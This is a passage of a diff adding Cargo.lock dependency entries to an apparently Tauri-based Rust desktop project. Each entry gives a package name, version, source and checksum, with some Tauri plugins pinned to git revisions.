"cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", +] + +[[package]] +name = "phf_codegen" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", +] + +[[package]] +name = "phf_generator" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526" +dependencies = [ + "phf_shared 0.8.0", + "rand 0.7.3", +] + +[[package]] +name = "phf_generator" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" +dependencies = [ + "phf_shared 0.10.0", + "rand 0.8.5", +] + +[[package]] +name = "phf_generator" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +dependencies = [ + "phf_shared 0.11.2", + "rand 0.8.5", +] + +[[package]] +name = "phf_macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "phf_macros" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" +dependencies = [ + "phf_generator 0.11.2", + "phf_shared 0.11.2", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "phf_shared" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" +dependencies = [ + "atomic-waker", + "fastrand 2.0.1", + "futures-io", +] + +[[package]] +name = "pkg-config" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" + +[[package]] +name = "plist" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5699cc8a63d1aa2b1ee8e12b9ad70ac790d65788cd36101fa37f87ea46c4cef" +dependencies = [ + "base64 0.21.7", + "indexmap 2.1.0", + "line-wrap", + "quick-xml", + "serde", + "time", +] + +[[package]] +name = "png" +version = "0.17.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f6c3c3e617595665b8ea2ff95a86066be38fb121ff920a9c0eb282abcd1da5a" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "polling" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "concurrent-queue", + "libc", + "log", + "pin-project-lite", + "windows-sys 0.48.0", +] + +[[package]] +name = "polling" +version = "3.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "545c980a3880efd47b2e262f6a4bb6daad6555cf3367aa9c4e52895f69537a41" +dependencies = [ + "cfg-if", + "concurrent-queue", + "pin-project-lite", + "rustix 0.38.30", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "portpicker" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be97d76faf1bfab666e1375477b23fde79eccf0276e9b63b92a39d676a889ba9" +dependencies = [ + "rand 0.8.5", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + +[[package]] +name = "proc-macro-crate" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +dependencies = [ + "once_cell", + "toml_edit 0.19.15", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro-hack" +version = "0.5.20+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" + +[[package]] +name = "proc-macro2" +version = "1.0.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95fc56cda0b5c3325f5fbbd7ff9fda9e02bb00bb3dac51252d2f1bfa1cb8cc8c" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quick-xml" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", + "rand_pcg", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.12", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "rand_pcg" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "raw-window-handle" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2ff9a1f06a88b01621b7ae906ef0211290d1c8a168a15542486a8f61c0833b9" + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_users" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" +dependencies = [ + "getrandom 0.2.12", + "libredox", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.37.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" +dependencies = [ + "bitflags 1.3.2", + "errno", + "io-lifetimes", + "libc", + "linux-raw-sys 0.3.8", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustix" +version = "0.38.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys 0.4.12", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "safemem" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "selectors" +version = "0.22.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df320f1889ac4ba6bc0cdc9c9af7af4bd64bb927bccdf32d81140dc1f9be12fe" +dependencies = [ + "bitflags 1.3.2", + "cssparser", + "derive_more", + "fxhash", + "log", + "matches", + "phf 0.8.0", + "phf_codegen 0.8.0", + "precomputed-hash", + "servo_arc", + "smallvec", + "thin-slice", +] + +[[package]] +name = "semver" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_json" +version = "1.0.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" +dependencies = [ + "itoa 1.0.10", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_with" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cd236ccc1b7a29e7e2739f27c0b2dd199804abc4290e32f59f3b68d6405c23" +dependencies = [ + "base64 0.21.7", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.1.0", + "serde", + "serde_json", + "serde_with_macros", + "time", +] + +[[package]] +name = "serde_with_macros" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serialize-to-javascript" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9823f2d3b6a81d98228151fdeaf848206a7855a7a042bbf9bf870449a66cafb" +dependencies = [ + "serde", + "serde_json", + "serialize-to-javascript-impl", +] + +[[package]] +name = "serialize-to-javascript-impl" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74064874e9f6a15f04c1f3cb627902d0e6b410abbf36668afa873c61889f1763" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "servo_arc" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d98238b800e0d1576d8b6e3de32827c2d74bee68bb97748dcf5071fb53965432" +dependencies = [ + "nodrop", + "stable_deref_trait", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "siphasher" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2593d31f82ead8df961d8bd23a64c2ccf2eb5dd34b0a34bfb4dd54011c72009e" + +[[package]] +name = "socket2" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "soup2" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2b4d76501d8ba387cf0fefbe055c3e0a59891d09f0f995ae4e4b16f6b60f3c0" +dependencies = [ + "bitflags 1.3.2", + "gio", + "glib", + "libc", + "once_cell", + "soup2-sys", +] + +[[package]] +name = "soup2-sys" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "009ef427103fcb17f802871647a7fa6c60cbb654b4c4e4c0ac60a31c5f6dc9cf" +dependencies = [ + "bitflags 1.3.2", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps 5.0.0", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "state" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbe866e1e51e8260c9eed836a042a5e7f6726bb2b411dffeaa712e19c388f23b" +dependencies = [ + "loom", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "str-buf" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e08d8363704e6c71fc928674353e6b7c23dcea9d82d7012c8faf2a3a025f8d0" + +[[package]] +name = "string_cache" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b" +dependencies = [ + "new_debug_unreachable", + "once_cell", + "parking_lot", + "phf_shared 0.10.0", + "precomputed-hash", + "serde", +] + +[[package]] +name = "string_cache_codegen" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", + "proc-macro2", + "quote", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "system-deps" +version = "5.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18db855554db7bd0e73e06cf7ba3df39f97812cb11d3f75e71c39bf45171797e" +dependencies = [ + "cfg-expr 0.9.1", + "heck 0.3.3", + "pkg-config", + "toml 0.5.11", + "version-compare 0.0.11", +] + +[[package]] +name = "system-deps" +version = "6.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" +dependencies = [ + "cfg-expr 0.15.6", + "heck 0.4.1", + "pkg-config", + "toml 0.8.8", + "version-compare 0.1.1", +] + +[[package]] +name = "tao" +version = "0.16.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75f5aefd6be4cd3ad3f047442242fd9f57cbfb3e565379f66b5e14749364fa4f" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "cc", + "cocoa", + "core-foundation", + "core-graphics", + "crossbeam-channel", + "dirs-next", + "dispatch", + "gdk", + "gdk-pixbuf", + "gdk-sys", + "gdkwayland-sys", + "gdkx11-sys", + "gio", + "glib", + "glib-sys", + "gtk", + "image", + "instant", + "jni", + "lazy_static", + "libappindicator", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "objc", + "once_cell", + "parking_lot", + "png", + "raw-window-handle", + "scopeguard", + "serde", + "tao-macros", + "unicode-segmentation", + "uuid", + "windows 0.39.0", + "windows-implement", + "x11-dl", +] + +[[package]] +name = "tao-macros" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec114582505d158b669b136e6851f85840c109819d77c42bb7c0709f727d18c2" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "tar" +version = "0.4.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb" +dependencies = [ + "filetime", + "libc", + "xattr", +] + +[[package]] +name = "target-lexicon" +version = "0.12.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69758bda2e78f098e4ccb393021a0963bb3442eac05f135c30f61b7370bbafae" + +[[package]] +name = "tauri" +version = "1.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd27c04b9543776a972c86ccf70660b517ecabbeced9fb58d8b961a13ad129af" +dependencies = [ + "anyhow", + "cocoa", + "dirs-next", + "embed_plist", + "encoding_rs", + "flate2", + "futures-util", + "glib", + "glob", + "gtk", + "heck 0.4.1", + "http 0.2.11", + "ignore", + "objc", + "once_cell", + "open", + "percent-encoding", + "rand 0.8.5", + "raw-window-handle", + "regex", + "semver", + "serde", + "serde_json", + "serde_repr", + "serialize-to-javascript", + "state", + "tar", + "tauri-macros", + "tauri-runtime", + "tauri-runtime-wry", + "tauri-utils", + "tempfile", + "thiserror", + "tokio", + "url", + "uuid", + "webkit2gtk", + "webview2-com", + "windows 0.39.0", +] + +[[package]] +name = "tauri-build" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9914a4715e0b75d9f387a285c7e26b5bbfeb1249ad9f842675a82481565c532" +dependencies = [ + "anyhow", + "cargo_toml", + "dirs-next", + "heck 0.4.1", + "json-patch", + "semver", + "serde", + "serde_json", + "tauri-utils", + "tauri-winres", + "walkdir", +] + +[[package]] +name = "tauri-codegen" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1554c5857f65dbc377cefb6b97c8ac77b1cb2a90d30d3448114d5d6b48a77fc" +dependencies = [ + "base64 0.21.7", + "brotli", + "ico", + "json-patch", + "plist", + "png", + "proc-macro2", + "quote", + "regex", + "semver", + "serde", + "serde_json", + "sha2", + "tauri-utils", + "thiserror", + "time", + "uuid", + "walkdir", +] + +[[package]] +name = "tauri-macros" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "277abf361a3a6993ec16bcbb179de0d6518009b851090a01adfea12ac89fa875" +dependencies = [ + "heck 0.4.1", + "proc-macro2", + "quote", + "syn 1.0.109", + "tauri-codegen", + "tauri-utils", +] + +[[package]] +name = "tauri-plugin-autostart" +version = "0.0.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?rev=70d99086de3a58189d65c49954a3495972880725#70d99086de3a58189d65c49954a3495972880725" +dependencies = [ + "auto-launch", + "log", + "serde", + "serde_json", + "tauri", + "thiserror", +] + +[[package]] +name = "tauri-plugin-localhost" +version = "0.1.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?rev=70d99086de3a58189d65c49954a3495972880725#70d99086de3a58189d65c49954a3495972880725" +dependencies = [ + "http 1.0.0", + "log", + "serde", + "serde_json", + "tauri", + "thiserror", + "tiny_http", +] + +[[package]] +name = "tauri-plugin-single-instance" +version = "0.0.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?rev=70d99086de3a58189d65c49954a3495972880725#70d99086de3a58189d65c49954a3495972880725" +dependencies = [ + "log", + "serde", + "serde_json", + "tauri", + "thiserror", + "windows-sys 0.52.0", + "zbus", +] + +[[package]] +name = "tauri-plugin-store" +version = "0.0.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?rev=70d99086de3a58189d65c49954a3495972880725#70d99086de3a58189d65c49954a3495972880725" +dependencies = [ + "log", + "serde", + "serde_json", + "tauri", + "thiserror", +] + +[[package]] +name = "tauri-plugin-window-state" +version = "0.1.0" +source = "git+https://github.com/tauri-apps/plugins-workspace?rev=70d99086de3a58189d65c49954a3495972880725#70d99086de3a58189d65c49954a3495972880725" +dependencies = [ + "bincode", + "bitflags 2.4.1", + "log", + "serde", + "serde_json", + "tauri", + "thiserror", +] + +[[package]] +name = "tauri-runtime" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf2d0652aa2891ff3e9caa2401405257ea29ab8372cce01f186a5825f1bd0e76" +dependencies = [ + "gtk", + "http 0.2.11", + "http-range", + "rand 0.8.5", + "raw-window-handle", + "serde", + "serde_json", + "tauri-utils", + "thiserror", + "url", + "uuid", + "webview2-com", + "windows 0.39.0", +] + +[[package]] +name = "tauri-runtime-wry" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6cae61fbc731f690a4899681c9052dde6d05b159b44563ace8186fc1bfb7d158" +dependencies = [ + "arboard", + "cocoa", + "gtk", + "percent-encoding", + "rand 0.8.5", + "raw-window-handle", + "tauri-runtime", + "tauri-utils", + "uuid", + "webkit2gtk", + "webview2-com", + "windows 0.39.0", + "wry", +] + +[[package]] +name = "tauri-utils" +version = "1.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ece74810b1d3d44f29f732a7ae09a63183d63949bbdd59c61f8ed2a1b70150db" +dependencies = [ + "brotli", + "ctor", + "dunce", + "glob", + "heck 0.4.1", + "html5ever", + "infer", + "json-patch", + "kuchikiki", + "log", + "memchr", + "phf 0.11.2", + "proc-macro2", + "quote", + "semver", + "serde", + "serde_json", + "serde_with", + "thiserror", + "url", + "walkdir", + "windows-version", +] + +[[package]] +name = "tauri-winres" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb" +dependencies = [ + "embed-resource", + "toml 0.7.8", +] + +[[package]] +name = 